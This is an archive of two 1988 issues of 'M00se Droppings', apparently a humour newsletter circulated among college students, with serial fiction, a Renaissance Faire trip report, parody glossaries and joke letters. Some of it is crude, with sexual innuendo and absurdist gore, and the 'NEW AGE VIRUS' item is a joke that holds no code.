following letter, which she hadn't the guts to answer.
---------------------------------------------------------------------------
S. Tickelrod
Dept of Ch. E.
Olin Hall, Cornell University
Ithaca, New York
14853
June 8, 1988
Ms. Ann Landers
c/o The Chicago Tribune
Chicago, Illinois
Dear Ann,
Not long ago you printed a letter from a bride-to-be who
was concerned that the practice of throwing rice at weddings
kills birds who eat the rice. (Presumably, it swells up in their
bellies.) Well, yesterday I read an article from an ornithologist
at Cornell University who says that rice is okay after all. I
thought I'd share a few helpful hints for those who are still
worried for the birds' safety: firstly, throw birdseed instead,
or, if that's too expensive, cook the rice first. That way, it
won't swell up anymore after it's eaten, and you can save money
too, since you get three cups of cooked rice to throw from every
cup of uncooked rice; a savings of 67%.
I hope I've saved a few brides some worry.
Keeping the Faith,
--S. Tickelrod
Ithaca, New York
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This one I'm stealing from WEIRD-L@BROWNVM. It's too good not to share. >>
Ben Johnson comes to heaven, but in order to be alowed to get inside,
he must win a 100 m run against GOD.
They both start very quickly, Johnson runs in the incredible time
9.79 (without doping), but GOD runs in 7.03 ...
Johnson says : Hey man, havent you doped in order to make it so
quickly ?
GOD says : Sure man, but this is not the first time ...
How do you think I was able to create the whole
world in only 6 days ?
<< Could explain a few things, no? >>
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
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Due to the size of this issue, a m00se list update will follow the issue.

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #15| Disclaimer: The Editor will place almost anything | Oct. 7, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
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**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Bl00p! Welcome to Issue 15 of M00se Droppings. This is quite a large
issue, with much good stuff in it. At the moment, I can't think of anything
interesting to say in an editorial capacity, so I won't. Enjoy!
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
<< The following was sent by GypsyLynx. The editor believes that this may
be another unconfirmed Sabre sighting. >>
The Daily Orange, Thursday, October 7, 1988
A 500-pound bull moose is on the loose in downtown Boston and no one has
been able to track down the animal.
The moose has been on the rampage throughout the western suburbs of the
city. A local television station has nicknamed the animal, which has somehow
found his way down from Maine, "Metro Moose."
There have been fifteen reported sightings of "Metro Moose," the last when
the wild animal was hit by a car Monday morning. Authorities have not seen the
moose, who has become a folk hero in the area.
The Boston Police Department has put an all points bulletin out on "Metro
Moose." Anyone seeing "Metro Moose" is strongly advised to stay away from him.
.................................................................
All right, all right, who's been running loose in Boston wreaking
havoc?? :-)
GypsyLynx
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
<< At last, the conclusion of Super-M00se's first adventure! Read, and thrill
to the excitement! >>
***-> The Adventures of Super-M00se <-***
--- ---------- -- ----- -----
Forward- All that follows is pure fiction and fallacy, with most rip-offs
being done on purpose. All puns on purpose and all violations
acknowledged. Any resultant health problems due to reading
these episodes are not the responsibility of the author. Please
RSVP to Commode productions.
When last we left our stalwart hero, his situation was not all that
spiffy. Let's take a peek and see if it has gotten any better.
%%%%%%%%%%%%%%PEEK%%%%%%%%%%%%%
"Urgh! Uhn! Yerg!" come the sounds of Superm00se's exertions as he
struggles valiantly to free him self from the soon to be tightly constricted
titanium steel alloy cables. There are few precious grains of sand left
%%%%%%%%%%%%UNPEEK%%%%%%%%%%%%%
Nope, guess that it hasn't. Well, now that you've had the obligatory
teaser to keep you around for the show, let's have a word from our sponsor.
"We at Frito-Lays would like to say that this Dorito-Breath Man is in
no shape or form connected to our organization, no matter how fictional he is.
Furthermore, studies show that our Doritos product..."
At this point in the narration in walks a chap dressed in tattered blue
jeans and a faded Grateful Dead tee-shirt.
"... does not in any way cause a person to have lethal, near lethal, or
even mildly offensive odors on his breath. Also.."
"Um, excuse me sir. That last statement is a fallacy which I shall now
prove. Witness the empty bag of Doritos in my hand. Said bag I have recently
consumed without benefit of drink or mouth wash. Now to prove my point."
The chap moves in front of the announcer, and exhales boisterously in
his face. The announcer blanches and turns his head.
"Case closed."
And now back to our show..... (poor rendition of 20th Century Fox theme music)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Great, Superm00se thought to himself glibly, what a way to go. First
day on the job and I botch it.
Looking at the hourglass, Superm00se noticed that he was almost out of
time. In a few seconds, he would be sliced m00se. What a chocolate way to go
(here the author indulges himself in a horrendously bad pun).
"Cut, Cut! Man, you've got to be kidding, right m00se? That's the
worst monologue I've ever heard. And this predicament is so, so, so... It
sucks! You'll never get the hang of cliff-hanger episodes at this rate."
Superm00se was aghast at this development. Where did all those lights
come from? And all those cameras? What is this, a movie set or something?
And who is this idiot yelling at me?
"Well, you're probably wondering what I'm doing here, and so am I, but
while I'm here, I guess some introductions are in order. I'm Brian DePalma.
I'm the guest director for this episode, or didn't you know? I find it rather
strange to be here courtesy of the mind of some demented college student, but
what the hell. So just who the fuck are you?"
"Well, I'm Superm00se." The cloying arrogance in Superm00se's voice
was unmistakable.
"You don't look so super to me, m00se face. In fact you look anything
but. So how do you propose to get out of this situation? I can only stop the
flow of sand in that hour glass for so long, you know. In fact, I'd say I've
got about two paragraphs left, give or take five."
"I'm afraid I'm flat out of ideas about what to do. I hadn't really
given it much thought. I was just going to flex my mighty m00se muscles, but
that doesn't seem to be working. I don't suppose you could offer any
suggestions?"
"Nope. Not allowed too."
After a brief but seeming eternal silence:
"Ummmm...... I don't suppose you could let me loose could you?"
"Hmmm... I don't know about that. Let me check."
Superm00se watched hopefully as DePalma sheafed through the script.
"Sez here that I can't directly aid you, so... However, I can get you
off the set. Scenery, get this friggin' m00se off my set. NOW!"
Two men in coveralls came in and removed Superm00se on a gurney, and
loosened the steel cables.
"Some free advice:" volunteered one.
"Don't ever show your face around here again," finished the other.
Unbelievable, thought Superm00se, but at least I'm free. Let's get at
the swine with the unbearable breath.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Superm00se wandered down the hall, listening with his m00sey hearing
for that foul villain.
"Ha ha! Superm00se will most likely be dead by now! I've triumphed.
Come children, It's time to review our demands."
Oh, that Dorito-Breath Man. Corrupting those poor, innocent children.
It's so, so, so.. anti-m00sey.
Superm00se followed the sound of Dorito-Breath Man's voice down to the
student's lounge. Peering up over the railing, he saw his adversary and his
eight young accomplices sitting hunched down over a table, talking softly to
themselves. Nearby was a large barrel with a box on top. Must be the bomb,
thought Superm00se. I could give a m00sey leap at him, but those kids are too
close, and if he breathes on me again....
Ah-hah! That would do it. Superm00se quietly slunk away, going back
towards the teacher's lounge. It had to be here, it had to. Rummaging around
in the medicine cabinet in the lady's room, Superm00se found what it was he had
been looking for.
LISTERINE! (Dun dun DUN!)
If Dorito-Breath Man had any weakness, it had to mouth wash. It simply
had to be.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Superm00se stealthily moved over towards the stairs. It'll be risky,
he thought, but it's my only chance. I'll have to force Dortio-Breath Man to
drink this stuff. Moving close, Superm00se crouched behind a couch. He was
very close now. Close enough to...
"Hi there. Do you suffer from chronic halitosis?"
"WHAT? IT CAN'T BE YOU. YOU'RE DEAD. I KILLED YOU!"
"Dead, hardly." Superm00se replied, somewhat nonchalantly. In one
rapid movement, he opened the bottle of Listerine, stuck it in Dorito-Breath
Man's mouth, emptied the contents into his mouth, picked Dorito-Breath Man up,
shook him, then turned him up-side down.
"So tell me, how do you like that feeling of nice clean breath, hmmmm?"
Superm00se inquired innocently
"You, you, you, you... You cleaned my BREATH!!!"
"That's right. You want to come quietly or shall we do it the hard
way?"
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
"Well Mark, I have to hand it to you. You did a top notch job covering
that story in Kansas City."
"Thanks Cherri. Just doing my job."
"Yeah, sure Mark, sure... So, how about coming over to my place for
dinner tonight?"
"Well, I, ah, sure..." Mark stammered a reply, and blushed somewhat
noticeably. Cherri just laughed quietly to herself.
(Yeah, well if you're a lech and expect that there's going to be
love scene, your wrong! So there! It was just dinner! [author
wags tongue at his readers])
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
"So why was I unable to use my mighty m00se muscles to snap the cables,
and burst through the wall? Tell me please, oh great one."
"Strength and maturity, as with all things, come with time Mark. Have
patience. Besides, you truly being super would defeat the whole purpose of
this adventure."
"Which is?"
"I don't know."
-Finis-
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< Yet more random babbling from Beez, one of the most talented random babblers
I have ever met. >>
Beware of the newest computer virus! The virus started here at Syracuse was
started by an irate user who was laughed at for using an IBM pc instead of a
mainframe or Macintosh. He devized a most clever virus that takes all the files
on your account or disk and deletes them, then replaces them with exact copies.
These copies are exactly the same as the originals and run just as before. The
only way you can tell if you have been hit or not is a negative flow within
your account/disk. So next time you are working..bring your crystals and drain
the negative forces out. Stay tuned for more news on the NEW AGE VIRUS!!
Boston University people..someone write on the plight you guys face with the
new dorm rules and tell us activist people what we can do to help!
What if Unemployed Actors worked in Banks Instead of Restaurants:
(heisted from SPY magazine..the best magazine ever put out..no doubt)
9:12 am : Man in torn t-shirt and faded jeans enters bank: surly 'method actor'
has finally arrived for work.
1:28 pm : Competition amongst tellers to work at window closest to surveillance
camera results in tears and vicious gossip.
2:59 pm : Bank robber's forceful "Put your hands up!" unleashes frenzy of
precision dancing.
To spaceman biff (sp?) you may want to attend one of the central New York
chapters of the Klu Klux Clam (KKC) which are held in a farmer's field out in
Penn Yan, New York. Most members feel that since they have never seen the
ocean, let alone a clam, and that they are ignorant, but not ignorant enough to
hate fellow human beings, they decided to hate the clam.
Pickle: add Vince Sison to the list of M00sers (VASISON@SUNRISE). He looked
over my shoulder when I was reading and said, "That's totally warped,dude! I
must get in!"
I think people should support Dukakis because he has the eyebrows of a M00se I
once met in Fresno.
Now for some interesting stuff and true too!
Full name: The Loyal Order of Moose
History: Founded in Louisville, Kentucky in 1888
Headquarters: Mooseheart, Illinois
Membership: 1,270,000
National Organization: The Moose Domain is governed from Mooseheart and
includes 40 state and provincial associations and 2,074 lodges in the U.S. The
Moose Domain also includes a community for orphans in Mooseheart and a senior
citizens' community called Moosehaven. Moosehaven is "a city of contentment"
where 'the meals are exquisite'.
Qualifications for membership: Mooses cannot have a criminal record and must
believe in a supreme being.
Motto: "Purity, Aid and Progress".
Symbol: The Moose,because it is a big,strong animal "that does not kill and
protects its own".
Costume: Moose dress is distinguished by the moose emblem: a moose head with
the letters P, A, and P.
Women's auxiliary: Women of the Moose.
Initiation procedure: The candidate commits himself to the principles of the
organization, participates in a 'Nine O'Clock' ceremony in which he silently
blesses Mooseheart, has a Moose code of ethics (which urges tolerance of
other's weaknesses, avoiding slander and love for one's fellow Moose) read to
him in front of the lodge altar and is then invested by the right hand of the
lodge governor.
Social advancement: The advanced degrees of Moosehood are The Mooseheart Legion
of the World, Fellowship and Pilgram.
Obligation: Members swear to keep secret everything that occurs within a Moose
lodge.
The height of sublimity: The genuine compassion Mooses feel toward the orphans
of Mooseheart.
Height of mundality: residents of the senior citizen's home, Moosehaven,
receive a 'sunshine allowance' of $25 per month.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< This is a letter that Kev, a new Loyola chapter, sent to Mommydammit,
requesting information about the M00se Illuminati. It contains some
interesting stuff. >>
That m00se thing sounds very bizzare and uninformable. A trivial waste of
time, which is why, naturally, I loved it.
How does one get to respond to people so obviously in need of obscure
weirdness?
Let me know, I have to tell Biff that OOOH obviosly is the well known animal
neglige store, Oliver Orangutange's Of Hollywood. He said he was looking for
an anacronym. There you have it. By the way, don't get the edible underwear
from OOOH, it only comes in banana flavor. Not that I've tried it...I'd never
date an Orangutang. They're sloppy kissers... so I've heard. Plus they don't
even like jaZz, only The Monkees. Pretty pathetic.
Actually, I had a good friend who was an orangutang once. He dated this really
hot babe and got her all sortsa stuff from OOOH. He was a nice guy, but he
always beat me in arm wrestling. Strong little bugger. He never shaved
either.
Neither did his girlfriend, come to thing of it. Oh well, as long as they're
happy.
I think he runs a retail store now, he tried running a video store but all he
would offer was Planet of the Apes and Bedtime for Bonzo reruns.
Oh well. Like I said, let me know how to get in touch with these guys. I might
just fit in!
Thanks...
Kev
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< Wolverine has sent more information on M00semas. Some of the terms below
will be added to the M00se Illuminati dictionary. >>
Here is yet another installment from that wonderful tome of eternal
knowledge, "The Complete Discordian M00semas Celebration Handb00k" by Andalusia
The Heretic.
"Gl0ssary of Terms"
M00stery -- Puzzle, enigma: or a drama in which a hairy brown
detective with horns investigate a murder.
M00sive -- Huge, gigantic; as in "His organ was m00sive, and when
he played with it the sound was indescribable."
Am00sing -- Humorous, entertaining; enough to make a m00se guffaw.
M00sterbation -- Autoeroticism; i.e. groping with a m00se in the back
seat of your Toyota. Or, confabulating with your own
gentiles until your organism is aroused. [those are
the spellings in the book folks, not mine.]
M00scow -- The capitol of the Union of Soviet M00sialist Republics.
The Nine M00ses -- The spirits of inspiration and the arts. In
traditional Discordian lore, the Nine M00ses,
lived on Mount Pelican, and were named:
Mnem00synee: Memory of oversights forgotten until it's too late to do
anything about them.
Kralia: M00zak played over elevator sound systems.
Cleeno: History, revised or made up to emphasize the glorious
achievements of m00sekind.
Cloppity: Heroic poetry about m00ses, especially limericks,
especially bawdy.
Terpsychiatry: Dancing Freudian therapist.
Melpom-pom: Tragedies about high-school-aged m00ses who tried out for
Varsity Cheerleading and were rejected because of their
species.
Eroto: Erratic poetry about m00ses in love and one dies during
orgasm.
Eustace: Flute m00zak, or any knd of rhythmic noises through hollow
objects with holes in the end.
Polypropylene: Sacred songs about Bullwinkle, which there aren't
any but you could make one up. Like "Never, My
M00se, to Thee" or maybe "Good King M00sceslas."
Well, that's only about a third of them..more to come later....
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< The Patrick Salsbury chapter, now known as Warm00se, has been busy, as
you'll see in a minute. This is an excerpt from a letter he sent me. >>
Wait till you hear this! When M00se board was formed, it actually took
the place of JOKES on our bulletin boards. This meant that all the people who
had set pointers to let them know when there were new messages on JOKES got a
message saying there was new stuff on M00SE ILLUMINATI! Now, no one knew what
M.I. *WAS*, and what's even BETTER (and MORE confusing) was that they got
confused by the zeros instead of the 'o's! This meant that they were getting
something saying "New messages in M00SE" and when they typed it, got "MOOSE
does not exist"! Isn't that a MASTERPIECE of peaceful confusion?!?!?!? :)
And it was an accident, too! :)
-Pat
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
It was a glorious week for the M00se Illuminati! In addition to two
new chapters at Loyola, one at Siberacuse, and one at Trinity, we can thank the
Patrick Salsbury chapter (now known as Warm00se) for the addition of seven new
chapters. We are only 15 away from the 100 mark!
Please add:
Loyola thr0ng KEVIN @ LOYVAX Kev
TERESA @ LOYVAX Teresa
Siberacuse thr0ng VASISON @ SUNRISE Vince Sison
Trinity thr0ng CWELLER @ TRINCC Black Adder
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Replace the Buffalo chapter with this entire listing.
Buffalo thr0ng V047KFZ7 @ UBVMSD Jon D. Evans
V050NRGD @ UBVMSD JetStar
V065L4KV @ UBVMSD Donald V. Freedman
V067LUFD @ UBVMSD Riff, DeathM00se
V068KY46 @ UBVMSD John J. Atkins
V085PWPZ @ UBVMSD Valerie J Hammerl
V096NHDQ @ UBVMSD Chris M00spaw
V291NHTP @ UBVMSD WarM00se

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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #16| Disclaimer: The Editor will place almost anything | Oct. 31, 1988
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame him for the quality or content of the submissions.
Excepting those he may have written himself, the enclosed items do not in any
way represent the Editor's opinions. In fact, let's be real safe, and say that
as far as this newsletter is concerned, he has no opinions at all. Okay? Good.
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hello again! First of all, I must sincerely apologize about the delay. I
was incredibly busy here, and simply didn't get to putting out the issue.
Hopefully this will put me back on track.
This will be the last issue to go out with Kami's distribution system. The
constant change in the number and locations of chapters will make it very
difficult for him to create a lasting system, and we now have a new
alternative. The Anachronist talked to his Sysop (or equivalent), and though
he was unable to get an actual listserv list for us (apparently, they don't
think we're educational), he was able to learn how a normal person may use a
listserv for distribution. So when I have the next issue ready, I'll send it
to him, he'll send it and a command file to his listserv, and it will send the
issue to the chapters. I don't know if the listserv will somehow moderate the
congestion this can cause, but it's by their rules, so we can't get in trouble
for it.
Also, I have just received requests from several people for M00se.Info. By
next issue, we can expect these people to be m00ses, and we'll start discussing
the megathr0ng-a-thon.
That's enough for now, have fun!
Pickle.
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
<< This report from Wolverine and Half-Elf. >>
A recent Thr0ng-A-Th0n took place in Boston, Mass, where members of the
Lansing, Syracuse, and Boston Thr0ngs all met for a weekend in Boston,
highlighted by attending the King Richard's Faire. Also, there were lots of
unofficial SABRE SIGHTINGS all weekend long, though we can't really prove any
of them. Well, here is how it went:
Friday Night: At 7:00 pm, Half Elf and Wolverine of the Lansing thr0ng met up
in Syracuse with Niniane and Guardian Angel of that thr0ng. After loading up
GA's car, we headed off for a long drive to Boston. The ride itself was fairly
uneventful, except for lots of general silliness in the car. (And some rather
poor singing in Wolverine's part.) Arrived in Boston, and then discovered that
the directions Sabre gave us to get to his apt were SCREWED UP. So we ended up
circling several streets and had a minor run in with an adamantium-armored cab.
Amazingly, the cab driver spoke English and was polite. Recovering from his
politeness, we got back in the car and began trying to find Sabre's domain.
After some more circling, we finally found it and entered, rather tired
considering it was about 2:30 am or so. There we unofficially met Sabre and
his room mates Robin and Andy (rorschach). Went to bed.
Saturday: Woke up to some lovely drizzle, and decided to wander down-town
Boston. Had lots of fun visiting all of the places Sabre has been promising
to show us "if you ever are in Boston." Also got some minor repairs done on the
car. Later that afternoon, we met up with Paladin (P-Word!!!) and some others,
and went back into town, where we saw lots of neat stuff. (Pretty neat
balloon-blowing mime, and THE greatest ice cream shop in the World!) Lots of
innuendoes flying around all day, as usual, and I, Wolverine, spent a great
deal of time blushing. (Still not quite as badly as Paladin though...we
tortured him on the trolley...hee hee hee...)
Sunday: Ren Faire at King Richard's!!! At 9:15 am, three car loads of us
(all in costume, of course!) headed off, a bit bleary-eyed but ready for one
hell of a good time. And we only got lost once along the way, and that wasn't
that bad at all. (Stopped at a Mom-and-Pop store for directions...should have
seen the people in the parking lot when everyone started piling out of cars in
cloaks and boots and swords and other period-type garb.) Arrived at the Faire a
bit before opening, and watched the entertainment that was going on. (Appeared
the Queen's diary had been stolen, containing some rather scandalous
information....)
Once on the grounds, we all split up for a bit, everyone going their
separate ways for a bit. (GA and Wolv went to check out the armories...and the
wenches. More on that later.) Some folks like Robin, Niniane and Half Elf got
their faces painted (very nice designs), and lord knows what some others did.
'Twas a slightly chilly day, or so everyone says. [I had a nice wool cloak
on...nice and warm.] We all met together for the first joust of the day, and
stood in the bad guy's section. [Long Live Sir Steven! 'What makes the grass
grow strong and tall?' BLOOD BLOOD BLOOD!!!!] We won the early contest, and
the joust ended with Sir Thomas [the wimp] whining that Sir Steven didn't fight
fair, and he laid down a challenge for a joust later in the day to the death.
Once again, everyone split up a bit. Several of us went to see the Elves
at one of the stands, and after a bit, GA and I went back to the Gypsy Camp.
[More on that later...get the impression that there was something Wolvie liked
at the gypsy camp??? Read on.] We all got asked lots of questions by other
guests, as most of them were dressed as mundanes and thought we were all part
of the group. While at Excalibur, Wolv tried purchasing a young Dryad that was
up for auction, but Nin stopped him. "You can rape all the wenches you want,
but you can't eat any of the children!" was a phrase heard often that day.
Watched a dance performance put on by the gypsies, which was rather
interesting. [and suggestive..poor Paladin blushed mighty heavily.]
Other highlights were the Singing Executioners ["Well the place is really
jumpin' and the bodies are a-thumpin' at the Block!"], lots of really neat
shops and stands, wandering minstrels and actors, various performances, and of
course, the final joust of the day, where Sir Thomas defeated Sir Steven. [He
cheated..he carried a loaded horse! Anyway, Sir Thomas wets his armor, that
no good English wiper of other people's bottoms!] After the joust, we headed
back to the gypsy camp one last time. I shall now hand the keyboard over to
Half Elf, who will relate the incidents that occurred, while I go sit in the
corner and blush.
**************************************************************
As well he should blush.....Yes folks, my dear bigBro found a *very*
interesting gypsy in their camp area and convinced her to deposit his sodalite
crystal where no crystal has ever gone before......off the shoulder blouses can
be **SO** handy... And the fun did not stop there, she also willingly blessed
him with numerous kisses to thank him for the privelage of sporting his
sodalite in her cleavage (are you blushing yet Paladin?).
Upon hearing of this incident, both Niniane and I [Half-Elf] declared that
we must meet this fair maid that had so entertained our brother......Wolv
obliged by introducing us at the end of the day in combination with his bidding
her adiue...This lead to more, umm, lip smacking, amazing dips and a token of
the fair maiden's fondness for our favorite Trelf....We are unsure where this
is at the moment altough rumor has it that he keeps it close at hand. At the
time of this report, Wolv continues to wander about with a self-satisfied,
half-grin on his face, occasionally walking into objects, but doing no major
harm to himself (our furniture is another story however...lovesick trolls...
:-)).
Now, gentle readers, I must let you know that I do not usually relay tales
of kiss and tell, but this is Wolv's penance for other events which occured at
the Faire which will be related by the same post-haste.
**************************************************************
Ah, well, Wolv back here...wasn't that interesting, eh folks? Penance,
you ask? Well, after I had placed my bid for the Dryad, we all got to talking
with the elves at the booth there. At one point the little elf here got
confused by the person who ran the booth, thinking he wanted to buy me for
dinner. It was then stated that this was not so, but that he wanted to take
Half Elf TO dinner. There was then a great deal of talk about BUYING Half Elf,
or at least some of her favors. Sabre was challenged to an arm wrestling match
by one of the smaller elves, with the prize being to kiss Half Elf. Sabre
easily defeated his opponent and collected his prize.
The owner of the booth declared that he wanted a try at the prize, and
challenged me, her BigBro, to a match. Now, being the large troll that I am
(and somewhat confident in my strength), I took his challenge happily, with the
condition that should I win, I would recieve a similar prize from one of his
women. Well, he was rather strong, and his women were rather beastly, and I
lost the match. He then offered Sabre a chance at redemption, with a
double-or-nothing wager, which Sabre promptly accepted and lost. So, as the two
of us bashed our selves on the heads for failing Half Elf, the owner collected
the prize. (And I must say that Half Elf really didn't seem to resist the idea
all that much... needle needle needle.....*grin*)
Monday: We were supposed to leave to go back to New York this day, but as the
car needed some more work due to our meeting the cab on Friday, and no body
shops were open because it was Columbus Day, our vacation was extended an extra
day. Once again wandered Boston some more, visiting such places as the Trident
Book Store, a pet shop, and other neat places. And that night, four brave
souls, Half Elf, Sabre, Wolverine and Robin set out on.....THE QUEST FOR
PARMESAN CHEESE!
Few people know that Parmesan cheese is the most rare substance in Boston.
We searched for TWO HOURS looking for Parmesan cheese. We started getting
delirious, yelling at cars for cheese, yelling at apartments for cheese, even
asking one shop owner if they had any goats we could buy to make the cheese
ourselves. Finally we settled for canned Kraft Pseudo-Parmesan cheese. Now, I
can hear you asking "Why did they need Parmesan cheese?" For Fettucini
Alfredo, of course! You see, Wolverine's are part Italian, and make on hell of
a Fettucini Alfredo. [Also, it is an inexpensive way to feed seven people who
were low on cash.]
Finally getting back at the house, we started making the Alfredo, and of
course the stove was an electric one, and poor at that, so it took over an
hour for the water to boil for the fettucini! We finally had dinner somewhere
around 9 p.m.
Tuesday: Finally got a place to do some work on the car. Stayed downtown for
a few hours, and finally headed back to our home towns. After a long car ride
we arrived at Syracuse, where Wolverine and Half Elf took another 1.5 hour
drive back to Lansing, their home thr0ng. Tired and cramped, yet satisfied
from a very fun vacation, they tossed their luggage into a corner, went to
their respective bedrooms, fell a sleep, and dreamed dreams typical of m00ses
returning home. [And no, those dreams don't include Annette Funicello rolling
in jello! That's sick, and I'm shocked at you for thinking of it!]
The End. [Until the Faire hits Sterling next summer...
I WANNA GO BACK!!!!!!!!!!!!!!!!!!!!!!!!]
- The above report compiled by Wolverine and Half Elf.
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
<< From Sean Blinn >>
The Tale of Young Danforth
(Plagiarised from the tale of Sir Robin, from Monty Python and the Holy Grail)
And so the members of the Class of 1969 of DePauw University went their separate
ways. Young Danforth went into the Indiana National Guard, accompanied by his
favourite minstrel.
Minstrel:
Bravely bold young Danforth
Rode forth from Huntington.
He was not afraid to die,
Oh, brave young Danforth.
He was not at all afraid
To be sent to Vietnam.
Brave, brave, brave
Brave young Danforth.
He was not in the least bit scared
To land at Cam Ranh Bay.
Or to fight the Viet Cong
In the Tet Offensive.
To leave his privileged home
And his wealthy family,
Who got him out of combat;
Brave young Danforth.
He stayed at home and he wrote press briefs,
And he stayed away from the Viet C.,
And he talked his way into legal school,
And he --
Danforth: I think that's enough music for now.
Suddenly, in front of young Danforth, a monster loomed: the dreaded Draft
Notice! For several seconds, our hero wondered what to do. Then, suddenly, he
decided!
Minstrel:
Brave young Danforth ran away.
Danforth: No!
Minstrel:
Bravely ran away, away.
Danforth: I didn't!
Minstrel:
When danger reared its ugly head,
He bravely turned his tail and fled.
Yes, brave young Danforth turned about,
And gallantly he chickened out...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<< And now, M00se Illuminati Press presents... >>
Mike's Saturday Morning
A normal story by Nathan Irwin
One Saturday morning, Mike James woke up, as he often did on
Saturday mornings. This was not unusual. As soon as he woke up, he
became conscious of the sun shining into his room through his window and
of the birds chirping outside. Since this this story is set in the late
spring, this was not unusual, either. However, Mike also noticed that it
was 9:00 am, which was unusual, since Mike normally slept in until
11:00 am, at least on Saturdays.
Taking all these things into consideration, Mike decided that, thus
far, two things about this day were perfectly normal, and one thing was
not. Looking at the overall picture of things, Mike concluded that this
was basically a normal day.
He couldn't have been more wrong.
Having decided that this was a normal Sturday morning, Mike decided
that he would take a shower. This, too, was quite normal. Even for a
Saturday. However, as he was walking to the bathroom, he heard a loud,
high-pitched noise coming from downstairs. This was definitely unusual,
especially on a Saturdy. Since he was still only half awake, it took
Mike a full minute to realize that this high-pitched noise was his mother
screaming at the top of her lungs. Screaming at the top of her lungs was
not something to which Mike's mother was accustomed.
It was, in fact, so unusual that Mike decided it would be best to go
downstairs and see what unusual circumstances could be causing his mother
to behave in such a peculiar manner on this Saturday morning in late
spring. However, as he began to go down the stairs, the screaming
suddenly stopped. Mike concluded that, since his mother had halted her
unusual activity, everything must be back to normal. He also concluded
that, if everything was back to normal, he could continue with his
shower. Hearing no objections, he did so.
After finishing his shower, Mike dried himself off and put on some
clothes. This was not, in and of itself, unusual. Having done so, he
went downstairs. He then proceeded to enter the kitchen, which was
another thing which happened to not be unusual. In fact, it was
something he did quite often, even on Saturdays.
However, Mike was quite surprised by what he saw in the kitchen.
For Mike's mother was lying prone on the kitchen table, with blood, gore,
and various green stuff spewing out of her body, and dripping all over
the table. And the floor. And into a bowl of Cheerios on the table.
The flow of this muck was facilitated by a hole in her abdomen, about the
size of a basketball.
Mike, by the way, was an excellent basketball player. His father
hoped that Mike would go to college on a basketball scholarship and, one
day, play professional basketball.
This, of course, is totally irrelevant.
Mike was, of course, very upset. After all, his mother appeared to
be quite dead, and seeing your mother dead is an upsetting experience for
anyone. Not to mention, quite unusual. Even on a Saturday, when unusual
things are extremely likely to happen. At least, in this story. Of
course, it wasn't his mother's death that upset Mike so terribly much, it
was her creating an awful mess all over the kitchen. And dripping on his
breakfast. Rendering it quite inedible. Even on a Saturday.
Then, Mike took a look around the room, and noticed a strange object
in the far corner. Upon closer inspection, it turned out to be a basket-
ball. Mike's basketball. Covered with the same blood and muck that was
seeping out of his mother's carcass in smaller and smaller quantities.
Mike was, as I have already stated, a fairly good basketball player.
I suppose I should mention that Mike presumed that his mother was
quite dead. She wasn't. In fact, she lived a few more hours. In
excrutiating pain, I might add. As if soeone had pushed a basketball
completely through her body. Which, apparently, someone had. But,
anyway, she died. Eventually.
Mike, of course, was quite traumatized by the whole thing. He
never could eat Cheerios after that.
Oddly, that day, Mike gave up basketball for good. You see, after
that day, he found basketball incredibly boring. He was, however, quite
interested by the muck and gore that he had seen oozing out of his
mother. In fact, he found it fascinating. He even kept a sample in jar,
in his room. He went on to study anatomy and learn all about those
little things in the human body. Many of which, he had seen in his
mother. He went on to become a brilliant, albeit eccentric, surgeon. He
even performed the world's first intestine transplant.
And lived happily ever after.
Even on Saturdays.
That, of course, is totally irrelevant.
--------------------------------------------------------------------------------
*************************** MISCELLANEOUS NONSENSE *****************************
--------------------------------------------------------------------------------
<< More for the M00se Illuminati dictionary, pilfered by Wolverine. >>
Well folks, here's more from that wonderful tome of knowledge and
all-around m00seiness, "The Complete Discordian M00semas Celebration Handbook"
by Andalusia the Heretic.
M00sletoe -- Sacred plant which grows on m00ses, once part of ancient rites
involving wonderful orgies (see 'M00zola Party'), now reduced to the
tradition that you must kiss any m00se upon which it is growing.
M00swich -- Velveeta, mayo, and a m00se between two slices of Wonder bread;
also any Witch Initiated into the M00steries of Bullwinkle.
M00siah -- Spiritual leader whose coming was prohpesied in the Old M00stament;
at M00semas celebrations, the glad cry rings out, "The M00siah
comes! (and comes, and comes, and comes, and comes....)"
M00slim -- A Middle Eastern sect of the M00steries, whose adherents believe
that "There is but One M00se, and Bullwinkle is His Name." They
worship in temples called m00sques.
M00seltov! -- A traditional cry of blessing and congratulations, called out to
anyone seen in public in the company of a m00se.
